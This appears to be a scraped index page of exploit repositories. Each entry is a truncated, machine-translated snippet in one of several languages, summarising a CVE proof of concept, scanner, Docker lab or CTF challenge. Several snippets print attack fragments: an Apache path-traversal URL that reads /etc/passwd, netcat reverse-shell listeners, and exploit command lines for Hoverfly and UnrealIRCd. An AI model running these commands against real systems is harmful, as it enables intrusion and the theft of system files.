CVE-2020-16947

CVE-2020-16947 Diese Sicherheitslücke tritt in Outlook 2019 16.0.13231.20262 auf, installiert unter Windows 10 1909 x64 Kurzzusammenfassung; Ich habe diesen Fehler mit dem winafl-Fuzzer gefunden. Der Fehler trat beim Parsen von HTML-Inhalten auf. Wenn ein Angreifer diesen Exploit erfolgreich...

CVE-2025-49844

CVE-2025-49844 - RediShell Redis Lua स्क्रिप्टिंग में use-after-free, जो रिमोट कोड निष्पादन की ओर ले जाता है। CVE का सारांश Redis एक ओपन सोर्स, इन-मेमोरी डेटाबेस है। CVE-2025-49844 Redis के एम्बेडेड Lua स्क्रिप्टिंग इंजन में एक use-after-free भेद्यता है। Lua स्क्रिप्टिंग तक पहुँच रखने वाला एक...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – Requisito di password debole nell'admin-center che porta al caricamento di plugin dannosi in i-doit Pro 25 e versioni precedenti i-doit Pro 25 e versioni precedenti sono vulnerabili a una vulnerabilità di requisiti di password deboli nell'admin-center e al caricamento di plugin...

CVE-2023-46604

CVE-2023-46604 قم بإعداد docker-compose يحتوي على صورتين وهما جهاز الضحية والجهاز الهدف وفقًا للبيئة المطلوبة على جهاز الضحية، قم بتشغيل ActiveMQ انتقل إلى جهاز المهاجم: • قم بتشغيل خدمة HTTP لإرسال poc: python3 -m http.server • استخدم netcat للاستماع إلى الاتصال القادم إلى جهاز المهاجم nc -nlvp...

es_inject

CVE-2014-3120 Elastic Search Esecuzione Remota di Codice Questo progetto dimostra la vulnerabilità/configurazione errata CVE-2014-3120. Consente di leggere e aggiungere contenuti a file sul sistema che ospita ES, purché l'utente che esegue ES abbia accesso ad essi. Note Non richiede un server web...

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

CVE-2024-51568 - CyberPanel Command Injection PoC Eine Proof-of-Concept-Umgebung und Nuclei-Vorlage zum Testen von CVE-2024-51568, einer kritischen Pre-Authentication-Command-Injection-Schwachstelle in CyberPanel. Schwachstellendetails CVE: CVE-2024-51568 Schweregrad: Kritisch CVSS 9.8 Typ:...

CVE-2022-41544

CVE-2022-41544 Script di Exploit Questo repository contiene uno script per sfruttare la vulnerabilità CVE-2022-41544 in GetSimple CMS. Lo script esegue diversi passaggi per verificare la presenza di vulnerabilità, divulgare le chiavi API, impostare i cookie, ottenere i token CSRF, caricare una...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- Test di penetrazione 1.1. Path Traversal Lettura del file /etc/passwd !/bin/bash Script: exploitpathtraversal.sh Obiettivo: leggere il file /etc/passwd da Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+...

HuaWei_Route_HG532_RCE_CVE-2017-17215

HuaWeiRouteHG532RCECVE-2017-17215 Implementazione del POC di iniezione di comandi del router Huawei HG532 CVE-2017-17215 con POCsuite e goland Implementazione con goland Implementazione con POCsuite Per la scrittura e il codice, visitare: https://blog.csdn.net/qq41490561/article/details/127659604...

CVE-2024-53677

CVE-2024-53677 - Ambiente di laboratorio per l'analisi delle cause profonde di Apache Struts 2 Questo repository fornisce un ambiente basato su Docker per riprodurre la vulnerabilità CVE-2024-53677 in Apache Struts 2. Questa vulnerabilità comporta un path traversal attraverso la funzionalità di...

CVE-2019-15107

تطبيقات Webmin للإصدارات 1.890 وما دونها معرضة لثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. CVE-2019-15107. المرجع: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Verwendung Befehlsausführung: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse-Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

unrealircd3.2.8.1-local-exploit

Getestet auf Metasploitable 3 VERWENDUNG Ruby Auf der Shell des Angreifers root@kitploit: nc -nlvp 1111 Auf der Shell des Opfers root@kitploit: ruby exploit.rb 127.0.0.1 Erwartete Ausgabe auf der Shell des Angreifers root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN...

CVE-2025-55182

Detector de Vulnerabilidade RCE em RSC/Next.js e Extensão Chrome PoC CVE-2025-55182 & CVE-2025-66478 Este repositório contém um kit de ferramentas de pesquisa de segurança projetado para detectar e demonstrar PoC as vulnerabilidades RCE recentemente divulgadas que afetam React Server Components R...

magnus_billing_7.3.0_RCE_CVE-2023-30258

magnusbilling7.3.0RCECVE-2023-30258 In magnus billing 7.3.0 gibt es eine Schwachstelle für Remote-Codeausführung im Parameter "democ" der Ressource "icepay.php", bei der Sie die Abfrage verlassen und den gewünschten Befehl ausführen können. VERWUNDBARER CODE root@kitploit: if isset$GET'democ' if...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE-Exploits...

cve-2017-9822

CVE-2017-9822 Wichtige Informationen Umgebung einrichten Debug einrichten Analyse Debug XmlSerializer Angriffs-Gadget ObjectDataProvider ResourceDictionary Von unsicherer XML-Deserialisierung zu RCE CVE-2017-9822 DNN auch bekannt als DotNetNuke vor Version 9.1.1 ermöglicht Remote-Code-Ausführung...

cve-2019-2725

cve-2019-2725 المراجع: Tenable - https://www.tenable.com/blog/oracle-weblogic-affected-by-unauthenticated-remote-code-execution-vulnerability-cve-2019-2725 Exploit Database - https://www.exploit-db.com/exploits/46780 PaloAlto -...

ctf-cve-2024-4577

تحدي CTF الخاص بـ CVE-2024-4577 نظرة عامة يُظهر هذا التحدي من نوع CTF ثغرة CVE-2024-4577، وهي ثغرة حرجة في حقن وسائط سطر الأوامر في PHP CGI تؤثر على إصدارات PHP 8.1.x 8.1.21 و 8.2.x 8.2.8 و 8.3.x 8.3.1. تفاصيل الثغرة CVE-2024-4577 هي ثغرة حقن وسائط سطر الأوامر في PHP CGI تحدث عندما يتم تكوين PHP...

R2S_CVE-2025-55182

ماسح CVE-2025-55182 ماسح ثغرات لـ CVE-2025-55182 - تنفيذ التعليمات البرمجية عن بُعد في Next.js Server Actions. حول CVE-2025-55182 الخطورة: حرجة CVSS TBD الإصدارات المتأثرة: Next.js: 15.x 15.5.7, 16.0.x 16.0.7 React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 التأثير: يمكن للمهاجمين عن بُعد تنفيذ تعليمات برمج...